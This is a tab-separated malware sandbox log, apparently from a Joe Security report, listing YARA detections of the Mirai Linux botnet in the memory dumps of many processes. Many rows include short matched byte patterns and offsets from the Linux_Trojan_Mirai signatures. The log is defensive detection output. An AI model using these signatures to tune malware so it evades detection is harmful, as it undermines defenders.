6593.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6593.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6593.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6822.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6822.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6822.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6822.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6822.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6822.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6661.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6661.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6661.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6661.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6661.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6661.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6837.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6837.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6837.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6837.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6837.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6837.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6947.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6947.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6947.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6947.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6947.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6947.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7319.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7319.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7319.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7319.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7319.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7319.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6235.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6235.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6235.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6235.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6235.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6235.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7213.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7213.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7213.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7213.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7213.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7213.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7260.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7260.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7260.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7260.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7260.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7260.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6818.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6818.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6818.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6818.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6818.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6818.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6987.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6987.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6987.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6987.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6987.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6987.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6948.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6948.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6948.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6948.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6948.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6948.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7284.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7284.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7284.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7284.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7284.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7284.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6391.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6391.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6391.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6391.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6391.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6391.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6398.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6398.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6398.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6398.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6398.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6398.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6627.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6627.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6627.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6627.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6627.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6627.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6417.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7389.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7389.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7389.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7389.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7389.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7389.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6976.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6976.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6976.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6976.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6976.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6976.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6754.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6754.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6754.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6754.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6754.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6754.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6814.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6814.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6814.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6814.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6814.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6814.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7010.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7010.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7010.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7010.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7010.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7010.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6829.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6829.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6829.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6829.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6829.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6829.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7204.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7204.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7204.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7204.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7204.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7204.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6604.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6604.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6604.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6604.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6604.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6604.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6588.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6588.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6588.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6588.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6588.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6588.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7233.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7233.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7233.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7233.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7233.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7233.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6293.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6293.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6293.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6293.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6293.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6293.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7338.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7338.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7338.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7338.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7338.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7338.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7311.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7311.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7311.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
